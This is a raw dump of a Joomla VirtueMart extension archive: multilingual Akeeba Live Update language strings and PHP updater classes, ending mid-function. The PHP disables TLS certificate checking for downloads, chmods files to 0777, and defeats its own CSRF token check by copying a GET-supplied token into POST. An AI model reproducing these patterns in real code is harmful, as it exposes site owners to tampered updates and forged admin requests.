LIVEUPDATE_LATESTVERSION="Nyeste versjon" LIVEUPDATE_LATESTRELEASED="Siste utgivelsesdato" LIVEUPDATE_DOWNLOADURL="Nedlastingsadresse" LIVEUPDATE_REFRESH_INFO="Oppdater oppdateringsinformasjonen" LIVEUPDATE_DO_UPDATE="Oppdatering til siste versjon" LIVEUPDATE_FTP_REQUIRED="Live oppdatering har behov for å bruke FTP for å laste ned og installere oppdateringen, men du har ikke lagret FTP påloggingsinformasjonen i Joomla! Global konfigurasjon .

      Vennligst oppgi FTP brukernavn og passord nedenfor for å fortsette med oppdateringen." LIVEUPDATE_FTP="Informasjon" LIVEUPDATE_FTPUSERNAME="FTP brukernavn" LIVEUPDATE_FTPPASSWORD="FTP Passord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Last ned og installer oppdateringen" LIVEUPDATE_DOWNLOAD_FAILED="Nedlasting av oppdateringen mislyktes. Pass på at temp-mappen er skrivbar, eller at du har aktivert Joomla! 's FTP alternativer i Global konfigurasjon." LIVEUPDATE_EXTRACT_FAILED="Utpakking av oppdateringspakken mislyktes. Prøv å oppdatere utvidelsen manuelt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakke type. Oppdateringen kan ikke fortsette." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Feil" LIVEUPDATE_SUCCESS="Vellykket" LIVEUPDATE_ICON_UNSUPPORTED="Live oppdatering støttes ikke" LIVEUPDATE_ICON_CRASHED="Live oppdatering krasjet" LIVEUPDATE_ICON_CURRENT="Du har den nyeste versjonen" LIVEUPDATE_ICON_UPDATES="OPPDATERING FUNNET! KLIKK FOR Å OPPDATERE."PKs>\)0com_virtuemart_allinone/language/no-NO/.htaccessnuW+A Order allow,deny Deny from all PKs>\)0com_virtuemart_allinone/language/nl-NL/.htaccessnuW+A Order allow,deny Deny from all PKs>\,-R R ;com_virtuemart_allinone/language/nl-NL/nl-NL.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Dutch Translation version 3.2.3 by [Robert J. Klop] info@zocors-web.nl LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update wordt op deze server niet ondersteund" LIVEUPDATE_NOTSUPPORTED_INFO="De server geeft aan dat Live Update niet wordt ondersteund. Neem contact op met de hoster en vraag de cURL PHP extensie of om de URL fopen() wrappers te activeren. Vraag, als ze al geactiveerd zijn, de firewall zo in te stellen dat er toegang tot de volgende URL is:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="U kunt %s altijd updaten door onze site te bezoeken, de laatste versie te downloaden en doormiddel van Joomla!'s extensiebeheer te installeren." LIVEUPDATE_STUCK_HEAD="Live Update is gecrasht" LIVEUPDATE_STUCK_INFO="Live Update stelt vast dat het, de laatste keer dat het de update-server trachtte te bereiken, gecrasht is. Dit betekent meestal dat de host actief de communicatie met externe sites blokkeert. Klik, als u de update informatie opnieuw wilt ophalen, op de "Ververs update informatie" knop hieronder. Als dat leidt tot een blanco pagina, neem dan contact op met uw hoster en meld dit." LIVEUPDATE_ERROR_NEEDSAUTH="U moet uw gebruikersnaam / wachtwoord of download ID opgegeven in de parameters van de component om naar de laatste release te upgraden. De upgrade knop zal geblokkeerd blijven tot dit gedaan is." LIVEUPDATE_HASUPDATES_HEAD="Er is een nieuwe versie beschikbaar" LIVEUPDATE_NOUPDATES_HEAD="U heeft de laatste versie al" LIVEUPDATE_CURRENTVERSION="Geïnstalleerde versie" LIVEUPDATE_LATESTVERSION="Nieuwste versie" LIVEUPDATE_LATESTRELEASED="Datum laatste release" LIVEUPDATE_DOWNLOADURL="URL voor directe download" LIVEUPDATE_REFRESH_INFO="Ververs update-informatie" LIVEUPDATE_DO_UPDATE="Update naar de laatste versie" LIVEUPDATE_FTP_REQUIRED="Live Update stelt vast dat het FTP moet gebruiken om de updates te downloaden en installeren, maar uw FTP logingegevens zijn bij de Joomla algemene instellingen niet opgeslagen.

      Vul a.u.b. hieronder de FTP gebruikersnaam en het wachtwoord in om verder te gaan met updaten." LIVEUPDATE_FTP="FTP informatie" LIVEUPDATE_FTPUSERNAME="FTP gebruikersnaam" LIVEUPDATE_FTPPASSWORD="FTP wachtwoord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Download en installeer de update" LIVEUPDATE_DOWNLOAD_FAILED="Het downloaden van het updatepakket is mislukt. Zorg dat de temp map beschrijfbaar is of dat de FTP opties bij de algemene instellingen goed ingevuld zijn." LIVEUPDATE_EXTRACT_FAILED="Uitpakken van het pakket mislukt. Probeer de extensie handmatig bij te werken." LIVEUPDATE_INVALID_PACKAGE_TYPE="Verkeerd pakkettype. Updaten kan niet verder gaan." LIVEUPDATE_INSTALLEXT="Installeer %s %s" LIVEUPDATE_ERROR="Fout" LIVEUPDATE_SUCCESS="Succesvol" LIVEUPDATE_ICON_UNSUPPORTED="Live Update niet ondersteund" LIVEUPDATE_ICON_CRASHED="Live Update gecrasht" LIVEUPDATE_ICON_CURRENT="U heeft de laatste versie" LIVEUPDATE_ICON_UPDATES="UPDATE GEVONDEN! KLIK OM TE UPDATEN."PKs>\VtvOO;com_virtuemart_allinone/language/it-IT/it-IT.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Translation: Roberto Restelli (roberto@msoutlook.it) LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="La funzionalità di Live Update non è supportata su questo server" LIVEUPDATE_NOTSUPPORTED_INFO="Il vostro server indica che la funzionalità di Live Update non è supportata. Contattare il fornitore e chiedere di abilitare l'estensione PHP cURL oppure attivare le funzionalità di URL fopen(). Se queste opzioni sono già attive, far verificare la configurazione del firewall per permettere l'accesso al seguente URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="E' sempre possibile aggiornare %s visitando il nostro sito, scaricando l'ultima versione disponibile ed installandola in Joomla usando i normali comando di installazione delle estensioni." LIVEUPDATE_STUCK_HEAD="Live Update ha rilevato un precedente crash" LIVEUPDATE_STUCK_INFO="Live Update ha determinato che nell'ultimo tentativo di contattare il server di aggiornamento l'operazioni e è fallita con un crash. Generalmente questo indica la presenza di un servizio che blocca la comunicazioen con siti esterni. Se volete riprovare a recuperare le informazioni di aggiornamento utilizzate il pulsante "Verifica disponibilità aggiornamenti" più sotto. Se il risultato è una pagina vuota, contattare il proprio fornitore per segnalare il problema." LIVEUPDATE_ERROR_NEEDSAUTH="E' necessario inserire Username e password oppure il proprio Download ID tra i paraemtri di configurazione del componente prima di tentare l'aggiornamento all'ultima versione. Il pulsante di aggiornamento sarà attivato solamente dopo l'isnerimento di tali informazioni." LIVEUPDATE_HASUPDATES_HEAD="E' disponibile una nuova versione" LIVEUPDATE_NOUPDATES_HEAD="Non sono disponibili ulteriori aggiornamenti" LIVEUPDATE_CURRENTVERSION="Versione installata" LIVEUPDATE_LATESTVERSION="Ultima versione" LIVEUPDATE_LATESTRELEASED="Data rilascio ultima versione" LIVEUPDATE_DOWNLOADURL="URL di scaricamento diretto" LIVEUPDATE_REFRESH_INFO="Verifica disponibilità aggiornamenti" LIVEUPDATE_DO_UPDATE="Aggiorna all'ultima versione" LIVEUPDATE_FTP_REQUIRED="Live Update ha determinato che è necessario l'utilizzo di FTP per scaricamente ed installare l'aggiornamento, tuttavia non sono state impostate le corrette informazioni di configurazione in Joomla. Inserire wui sotto Username e password per il servizio FTP per proseguire con l'aggiornamento." LIVEUPDATE_FTP="Informazioni FTP" LIVEUPDATE_FTPUSERNAME="Username FTP" LIVEUPDATE_FTPPASSWORD="Password FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Scarica ed installa aggiornamento" LIVEUPDATE_DOWNLOAD_FAILED="Lo scaricamento dell'aggiornamento è fallito. Verificare che la cartella temporanea sia scrivibile e che siano abilitate le opzioni FTP di Joomla all'interno della sezione di Configurazione Globale del sito." LIVEUPDATE_EXTRACT_FAILED="L'estrazione del pacchetto di aggiornamento è fallita. Sarà necessario effettuare l'aggiornamento tramite procedura manuale." LIVEUPDATE_INVALID_PACKAGE_TYPE="Formato del pacchetto di aggiornamento non riconosciuto. L'aggiornamento non può essere effettuato." LIVEUPDATE_INSTALLEXT="Installazione %s %s" LIVEUPDATE_ERROR="Errore" LIVEUPDATE_SUCCESS="Completato" LIVEUPDATE_ICON_UNSUPPORTED="Live Update non supportato" LIVEUPDATE_ICON_CRASHED="Live Update non funzionante correttamente" LIVEUPDATE_ICON_CURRENT="Non sono disponibili ulteriori aggiornamenti" LIVEUPDATE_ICON_UPDATES="INSTALLA NUOVO AGGIORNAMENTO!"PKs>\)0com_virtuemart_allinone/language/it-IT/.htaccessnuW+A Order allow,deny Deny from all PKs>\ t ;com_virtuemart_allinone/language/sv-SE/sv-SE.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update stöds inte på denna server" LIVEUPDATE_NOTSUPPORTED_INFO="Din server verkar inte stöda att Live Update körs. Kontakta din webbhotelleverantör och be dem aktivera cURL i PHP alternativt aktivera URL fopen() wrappers. Om dessa redan är aktiverade skall du be dem att konfigurera brandväggen så den tillåter tillträde från följande URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid uppdatera %s genom att gå till vår webbplats manuellt, ladda ned den senaste versionen och installera den med Joomla!:s egen installerare." LIVEUPDATE_STUCK_HEAD="Live Update har markerat sig själv som kraschad" LIVEUPDATE_STUCK_INFO="Live Update har upptäckt att den kraschade förra gången den försökte kontakta uppdateringsservern. Vanligen beror detta på att webbhotellet har blockerat kommunikation med externa webbplatser. Om du ändå vill försöka hämta uppdateringsinformation, klicka på knappen "Hämta uppdateringsinformation" nedan. Om detta resulterar i en vit sida, skall du kontakta ditt webbhotell och rapportera felet." LIVEUPDATE_ERROR_NEEDSAUTH="Du måste ange ditt användarnamn/lösenord eller Nedladdnings-ID i komponentens inställningar innan du kan uppgradera till senaste versionen. Uppgraderingsknappen kommer att vara inaktiv till dess du gjort detta." LIVEUPDATE_HASUPDATES_HEAD="Det finns en ny version" LIVEUPDATE_NOUPDATES_HEAD="Du har redan senaste versionen" LIVEUPDATE_CURRENTVERSION="Installerad version" LIVEUPDATE_LATESTVERSION="Senaste version" LIVEUPDATE_LATESTRELEASED="Senaste versionsdatum" LIVEUPDATE_DOWNLOADURL="Direkt nedladdnings-URL" LIVEUPDATE_REFRESH_INFO="Hämta uppdateringsinformation" LIVEUPDATE_DO_UPDATE="Uppdatera till senaste version" LIVEUPDATE_FTP_REQUIRED="Live Update indikerar att den måste använda FTP för att kunna ladda ned och installera din uppdatering. Du måste först ange och spara dina uppgifter för FTP i Joomla!:s Globala Inställningar.

      Ange användarnamn och lösenord till din FTP nedan för att kunna fortsätta uppdateringen." LIVEUPDATE_FTP="FTP-information" LIVEUPDATE_FTPUSERNAME="FTP Användarnamn" LIVEUPDATE_FTPPASSWORD="FTP Lösenord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Ladda ned och installera uppdatering" LIVEUPDATE_DOWNLOAD_FAILED="Nedladdningen av uppdateringsaketet misslyckades. Kontrollera att temp-mappen är skrivbar och att du har aktiverat Joomla!:s FTP-lager i Globala Inställningar." LIVEUPDATE_EXTRACT_FAILED="Uppackningen av uppdateringspaketet misslyckades. Prova att uppdatera tillägget manuellt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ogiltig pakettyp. Uppdateringen kan inte fortsätta." LIVEUPDATE_INSTALLEXT="Installerar %s %s" LIVEUPDATE_ERROR="FEL!" LIVEUPDATE_SUCCESS="KLART!" LIVEUPDATE_ICON_UNSUPPORTED="Live Update stöds inte" LIVEUPDATE_ICON_CRASHED="Live Update krashade" LIVEUPDATE_ICON_CURRENT="Du har den senaste versionen" LIVEUPDATE_ICON_UPDATES="UPPDATERING HITTAD! KLICKA FÖR ATT UPPDATERA."PKs>\)0com_virtuemart_allinone/language/sv-SE/.htaccessnuW+A Order allow,deny Deny from all PKs>\)0com_virtuemart_allinone/language/tr-TR/.htaccessnuW+A Order allow,deny Deny from all PKs>\&c c ;com_virtuemart_allinone/language/tr-TR/tr-TR.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Canlı Güncelle" LIVEUPDATE_NOTSUPPORTED_HEAD="Canlı Güncelleme bu sunucu üzerinde desteklenmiyor" LIVEUPDATE_NOTSUPPORTED_INFO="Sunucunuz Canlı Güncellemeyi desteklemiyor. Lütfen sunucu yöneticinizle görüşerek cURL PHP ekini ya da URL fopen() sarıcılarını etkinleştirmelerini isteyin. Bu ekler zaten etkinleştirilmişse, güvenlik duvarını şu İnternet adresine izin verecek şekilde ayarlamalarını isteyin:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="%s güncellemelerini istediğiniz zaman el ile kurmak için, sitemizden en son sürümü indirip Joomla! bileşen kurucusu ile yükleyebilirsiniz." LIVEUPDATE_STUCK_HEAD="Canlı güncelleme hata vermiş" LIVEUPDATE_STUCK_INFO="Canlı güncelleme, güncelleme sunucusuna son bağlanma denemesinde hata verdiğini belirledi. Bu durum genellikle dışarıdaki sunuculara bağlantıları engelleyen bir sunucu yapılandırmasından kaynaklanır. Güncelleme bilgisini yeniden almak isterseniz lütfen aşağıdaki "Güncelleme bilgisini al" düğmesine tıklayın. Boş beyaz bir sayfa ile karşılaşırsanız sunucu yöneticinize bu durumu iletin." LIVEUPDATE_ERROR_NEEDSAUTH="Son sürüme güncellemeyi denemeden önce, bileşen ayarlarından kullanıcı adı/parolanızı ya da indirme kodunuzu yazmalısınız. Bu bilgileri yazana kadar Güncelle düğmesi devre dışı görünecektir." LIVEUPDATE_HASUPDATES_HEAD="Yeni bir sürüm bulundu" LIVEUPDATE_NOUPDATES_HEAD="Son sürümü kullanıyorsunuz" LIVEUPDATE_CURRENTVERSION="Kullandığınız sürüm" LIVEUPDATE_LATESTVERSION="Son sürüm" LIVEUPDATE_LATESTRELEASED="Son yayın tarihi" LIVEUPDATE_DOWNLOADURL="Doğrudan indirme adresi" LIVEUPDATE_REFRESH_INFO="Güncelleme bilgisini al" LIVEUPDATE_DO_UPDATE="Son sürüme güncelle" LIVEUPDATE_FTP_REQUIRED="Canlı Güncelle, güncellemeyi indirip kurmak yerine FTP kullanmaya gerek duyuyor, ancak FTP bilgilerinizi Joomla! Genel Ayarlarına kaydetmemişsiniz.

      Lütfen güncellemeyi yapabilmek için FTP kullanıcı adı ve parolanızı aşağıya yazın." LIVEUPDATE_FTP="FTP Bilgisi" LIVEUPDATE_FTPUSERNAME="FTP Kullanıcı Adı" LIVEUPDATE_FTPPASSWORD="FTP Parolası" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Güncellemeyi indir ve kur" LIVEUPDATE_DOWNLOAD_FAILED="Güncelleme paketi indirilemedi. Geçici klasörünüzün yazılabilir olduğundan ya da Joomla! Genel Ayarlarından FTP seçeneğini etkinleştirdiğinizden emin olun." LIVEUPDATE_EXTRACT_FAILED="Güncelleme paketi ayıklanamadı. Lütfen bileşeni elle güncellemeyi deneyin." LIVEUPDATE_INVALID_PACKAGE_TYPE="Geçersiz paket tipi. Güncelleme yapılamıyor." LIVEUPDATE_INSTALLEXT="%s %s kurulsun" LIVEUPDATE_ERROR="Hata" LIVEUPDATE_SUCCESS="Başarılı" LIVEUPDATE_ICON_UNSUPPORTED="Canlı Güncelleme Desteklenmiyor" LIVEUPDATE_ICON_CRASHED="Canlı Güncelleme hata verdi" LIVEUPDATE_ICON_CURRENT="Son sürümü kullanıyorsunuz" LIVEUPDATE_ICON_UPDATES="GÜNCELLEME VAR! YÜKLEMEK İÇİN TIKLAYIN."PKs>\5com_virtuemart_allinone/admin.virtuemart_allinone.phpnuW+A * * One-click updater for Joomla! extensions * Copyright (C) 2011 Nicholas K. Dionysopoulos / AkeebaBackup.com * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ defined('_JEXEC') or die(); require_once dirname(__FILE__).'/classes/abstractconfig.php'; require_once dirname(__FILE__).'/config.php'; $task = JRequest::getCmd('task'); if($task=='updateDatabase'){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); //Update Tables if (!class_exists( 'VmConfig' )) require(JPATH_ADMINISTRATOR.DS.'components'.DS.'com_virtuemart'.DS.'helpers'.DS.'config.php'); if(!class_exists('Permissions')) require(JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart' . DS . 'helpers' . DS . 'permissions.php'); if(!Permissions::getInstance()->check('admin')){ $msg = 'Forget IT'; $this->setRedirect('index.php?option=com_virtuemart_allinone', $msg); } else { if(!class_exists('com_virtuemart_allinoneInstallerScript')) require(JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart_allinone'.DS.'script.vmallinone.php'); $updater = new com_virtuemart_allinoneInstallerScript(); $updater->vmInstall(); $app = JFactory::getApplication(); $app->redirect('index.php?option=com_virtuemart_allinone', 'Database updated'); } } ?>
      load('com_virtuemart', JPATH_ADMINISTRATOR, 'en-GB', true); // Load English (British) $jlang->load('com_virtuemart', JPATH_ADMINISTRATOR, $jlang->getDefault(), true); // Load the site's default language $jlang->load('com_virtuemart', JPATH_ADMINISTRATOR, null, true); // Load the currently selected language ?>
      load('liveupdate', $basePath, 'en-GB', true); // Load English (British) $jlang->load('liveupdate', $basePath, $jlang->getDefault(), true); // Load the site's default language $jlang->load('liveupdate', $basePath, null, true); // Load the currently selected language } /** * Handles requests to the "liveupdate" view which is used to display * update information and perform the live updates */ public static function handleRequest() { // Load language strings self::loadLanguage(); // Load the controller and let it run the show require_once dirname(__FILE__).'/classes/controller.php'; $controller = new LiveUpdateController(); $controller->execute(JRequest::getCmd('task','overview')); $controller->redirect(); } /** * Returns update information about your extension, based on your configuration settings * @return stdClass */ public static function getUpdateInformation($force = false) { require_once dirname(__FILE__).'/classes/updatefetch.php'; $update = new LiveUpdateFetch(); $info = $update->getUpdateInformation($force); $hasUpdates = $update->hasUpdates(); $info->hasUpdates = $hasUpdates; $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $info->extInfo = (object)$extInfo; return $info; } public static function getIcon($config=array()) { // Load language strings self::loadLanguage(); $defaultConfig = array( 'option' => JRequest::getCmd('option',''), 'view' => 'liveupdate', 'mediaurl' => JURI::base().'components/'.JRequest::getCmd('option','').'/liveupdate/assets/' ); $c = array_merge($defaultConfig, $config); $url = 'index.php?option='.$c['option'].'&view='.$c['view']; $img = $c['mediaurl']; $updateInfo = self::getUpdateInformation(); if(!$updateInfo->supported) { // Unsupported $class = 'liveupdate-icon-notsupported'; $img .= 'nosupport-32.png'; $lbl = JText::_('LIVEUPDATE_ICON_UNSUPPORTED'); } elseif($updateInfo->stuck) { // Stuck $class = 'liveupdate-icon-crashed'; $img .= 'nosupport-32.png'; $lbl = JText::_('LIVEUPDATE_ICON_CRASHED'); } elseif($updateInfo->hasUpdates) { // Has updates $class = 'liveupdate-icon-updates'; $img .= 'update-32.png'; $lbl = JText::_('LIVEUPDATE_ICON_UPDATES'); } else { // Already in the latest release $class = 'liveupdate-icon-noupdates'; $img .= 'current-32.png'; $lbl = JText::_('LIVEUPDATE_ICON_CURRENT'); } return ''; } }PKs>\wtW"com_virtuemart_allinone/index.htmlnuW+APKs>\w8lff2com_virtuemart_allinone/classes/abstractconfig.phpnuW+A */ defined('_JEXEC') or die(); /** * This is the base class inherited by the config.php file in LiveUpdate's root. * You may override it non-final members to customise its behaviour. * @author Nicholas K. Dionysopoulos * */ abstract class LiveUpdateAbstractConfig extends JObject { /** @var string The extension name, e.g. com_foobar, plg_foobar, mod_foobar, tpl_foobar etc */ protected $_extensionName = 'com_foobar'; /** @var string The human-readable name of your extension */ protected $_extensionTitle = 'Foobar Component for Joomla!'; /** * The filename of the XML manifest of your extension. Leave blank to use extensionname.xml. For example, * if the extension is com_foobar, it will look for com_foobar.xml and foobar.xml in the component's * directory. * @var string * */ protected $_xmlFilename = ''; /** @var string The information storage adapter to use. Can be 'file' or 'component' */ protected $_storageAdapter = 'file'; /** @var array The configuration options for the storage adapter used */ protected $_storageConfig = array('path' => JPATH_CACHE); /** * How to determine if a new version is available. 'different' = if the version number is different, * the remote version is newer, 'vcompare' = use version compare between the two versions, 'newest' = * compare the release dates to find the newest. I suggest using 'different' on most cases. * @var string */ protected $_versionStrategy = 'different'; /** @var The current version of your extension. Populated automatically from the XML manifest. */ protected $_currentVersion = ''; /** @var The current release date of your extension. Populated automatically from the XML manifest. */ protected $_currentReleaseDate = ''; /** @var string The URL to the INI update stream of this extension */ protected $_updateURL = ''; /** @var bool Does the download URL require authorization to download the package? */ protected $_requiresAuthorization = false; /** @var string The username to authorize a download on your site */ protected $_username = ''; /** @var string The password to authorize a download on your site */ protected $_password = ''; /** @var string The Download ID to authorize a download on your site; use it instead of the username/password pair */ protected $_downloadID = ''; /** @var string The path to a local copy of cacert.pem, required if you plan on using HTTPS URLs to fetch live udpate information or download files from */ protected $_cacerts = null; /** @var string The minimum stability level to report as available update. One of alpha, beta, rc and stable. */ protected $_minStability = 'alpha'; /** * Singleton implementation * @return LiveUpdateConfig An instance of the Live Update configuration class */ public static function &getInstance() { static $instance = null; if(!is_object($instance)) { $instance = new LiveUpdateConfig(); } return $instance; } /** * Public constructor. It populates all extension-specific fields. Override to your liking if necessary. */ public function __construct() { parent::__construct(); $this->populateExtensionInfo(); $this->populateAuthorization(); } /** * Returns the URL to the update INI stream. By default it returns the value to * the protected $_updateURL property of the class. Override with your implementation * if you want to modify its logic. */ public function getUpdateURL() { return $this->_updateURL; } /** * Override this ethod to load customized CSS and media files instead of the stock * CSS and media provided by Live Update. If you override this class it MUST return * true, otherwise LiveUpdate's CSS will be loaded after yours and will override your * settings. * * @return bool Return true to stop Live Update from loading its own CSS files. */ public function addMedia() { return false; } /** * Gets the authorization string to append to the download URL. It returns either the * download ID or username/password pair. Please override the class constructor, not * this method, if you want to fetch these values. */ public final function getAuthorization() { if(!empty($this->_downloadID)) { return "dlid=".urlencode($this->_downloadID); } if(!empty($this->_username) && !empty($this->_password)) { return "username=".urlencode($this->_username)."&password=".urlencode($this->_password); } return ""; } public final function requiresAuthorization() { return $this->_requiresAuthorization; } /** * Returns all the information we have about the extension and its update preferences * @return array The extension information */ public final function getExtensionInformation() { return array( 'name' => $this->_extensionName, 'title' => $this->_extensionTitle, 'version' => $this->_currentVersion, 'date' => $this->_currentReleaseDate, 'updateurl' => $this->_updateURL, 'requireauth' => $this->_requiresAuthorization ); } /** * Returns the information regarding the storage adapter * @return array */ public final function getStorageAdapterPreferences() { $config = $this->_storageConfig; $config['extensionName'] = $this->_extensionName; return array( 'adapter' => $this->_storageAdapter, 'config' => $config ); } public final function getVersionStrategy() { return $this->_versionStrategy; } /** * Get the current version from the XML manifest of the extension and * populate the class' properties. */ private function populateExtensionInfo() { require_once dirname(__FILE__).'/xmlslurp.php'; $xmlslurp = new LiveUpdateXMLSlurp(); $data = $xmlslurp->getInfo($this->_extensionName, $this->_xmlFilename); if(empty($this->_currentVersion)) $this->_currentVersion = $data['version']; if(empty($this->_currentReleaseDate)) $this->_currentReleaseDate = $data['date']; } /** * Fetch username/password and Download ID from the component's configuration. */ private function populateAuthorization() { if(!$this->_requiresAuthorization) return; if(substr($this->_extensionName,0,3) != 'com') return; jimport('joomla.html.parameter'); jimport('joomla.application.component.helper'); $component =& JComponentHelper::getComponent($this->_extensionName); $params = new JParameter($component->params); $this->_username = $params->getValue('username',''); $this->_password = $params->getValue('password',''); $this->_downloadID = $params->getValue('downloadid',''); } public function applyCACert(&$ch) { if(!empty($this->_cacerts)) { if(file_exists($this->_cacerts)) { @curl_setopt($ch, CURLOPT_CAINFO, $this->_cacerts); } } } public function getMinimumStability() { return $this->_minStability; } }PKs>\1k+϶!!,com_virtuemart_allinone/classes/download.phpnuW+A */ defined('_JEXEC') or die(); /** * Allows downloading packages over the web to your server */ class LiveUpdateDownloadHelper { /** * Downloads from a URL and saves the result as a local file * @param $url * @param $target * @return bool True on success */ public static function download($url, $target) { // Import Joomla! libraries jimport('joomla.filesystem.file'); /** @var bool Did we try to force permissions? */ $hackPermissions = false; // Make sure the target does not exist if(JFile::exists($target)) { if(!@unlink($target)) { JFile::delete($target); } } // Try to open the output file for writing $fp = @fopen($target, 'wb'); if($fp === false) { // The file can not be opened for writing. Let's try a hack. if( JFile::write($target, '') ) { if( self::chmod($target, 511) ) { $fp = @fopen($target, 'wb'); $hackPermissions = true; } } } $result = false; if($fp !== false) { // First try to download directly to file if $fp !== false $adapters = self::getAdapters(); $result = false; while(!empty($adapters) && ($result === false)) { // Run the current download method $method = 'get' . strtoupper( array_shift($adapters) ); $result = self::$method($url, $fp); // Check if we have a download if($result === true) { // The download is complete, close the file pointer @fclose($fp); // If the filesize is not at least 1 byte, we consider it failed. clearstatcache(); $filesize = @filesize($target); if($filesize <= 0) { $result = false; $fp = @fopen($target, 'wb'); } } } // If we have no download, close the file pointer if($result === false) { @fclose($fp); } } if($result === false) { // Delete the target file if it exists if(file_exists($target)) { if( !@unlink($target) ) { JFile::delete($target); } } // Download and write using JFile::write(); $result = JFile::write($target, self::downloadAndReturn($url) ); } return $result; } /** * Downloads from a URL and returns the result as a string * @param $url * @return mixed Result string on success, false on failure */ public static function downloadAndReturn($url) { $adapters = self::getAdapters(); $result = false; while(!empty($adapters) && ($result === false)) { // Run the current download method $method = 'get' . strtoupper( array_shift($adapters) ); $result = self::$method($url, null); } return $result; } /** * Does the server support PHP's cURL extension? * @return bool True if it is supported */ private static function hasCURL() { static $result = null; if(is_null($result)) { $result = function_exists('curl_init'); } return $result; } /** * Downloads the contents of a URL and writes them to disk (if $fp is not null) * or returns them as a string (if $fp is null) * @param string $url The URL to download from * @param resource $fp The file pointer to download to. Omit to return the contents. * @return bool|string False on failure, true on success ($fp not null) or the URL contents (if $fp is null) */ private static function &getCURL($url, $fp = null, $nofollow = false) { $result = false; $ch = curl_init($url); $config = new LiveUpdateConfig(); $config->applyCACert($ch); if( !@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1) && !$nofollow ) { // Safe Mode is enabled. We have to fetch the headers and // parse any redirections present in there. curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 30); // Get the headers $data = curl_exec($ch); curl_close($ch); // Init $newURL = $url; // Parse the headers $lines = explode("\n", $data); foreach($lines as $line) { if(substr($line, 0, 9) == "Location:") { $newURL = trim(substr($line,9)); } } // Download from the new URL if($url != $newURL) { return self::getCURL($newURL, $fp); } else { return self::getCURL($newURL, $fp, true); } } else { @curl_setopt($ch, CURLOPT_MAXREDIRS, 20); } curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 30); // Pretend we are IE7, so that webservers play nice with us curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); if(is_resource($fp)) { curl_setopt($ch, CURLOPT_FILE, $fp); } $result = curl_exec($ch); curl_close($ch); return $result; } /** * Does the server support URL fopen() wrappers? * @return bool */ private static function hasFOPEN() { static $result = null; if(is_null($result)) { // If we are not allowed to use ini_get, we assume that URL fopen is // disabled. if(!function_exists('ini_get')) { $result = false; } else { $result = ini_get('allow_url_fopen'); } } return $result; } private static function &getFOPEN($url, $fp = null) { $result = false; // Track errors if( function_exists('ini_set') ) { $track_errors = ini_set('track_errors',true); } // Open the URL for reading if(function_exists('stream_context_create')) { // PHP 5+ way (best) $httpopts = Array('user_agent'=>'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); $context = stream_context_create( array( 'http' => $httpopts ) ); $ih = @fopen($url, 'r', false, $context); } else { // PHP 4 way (actually, it's just a fallback as we can't run Admin Tools in PHP4) if( function_exists('ini_set') ) { ini_set('user_agent', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); } $ih = @fopen($url, 'r'); } // If fopen() fails, abort if( !is_resource($ih) ) { return $result; } // Try to download 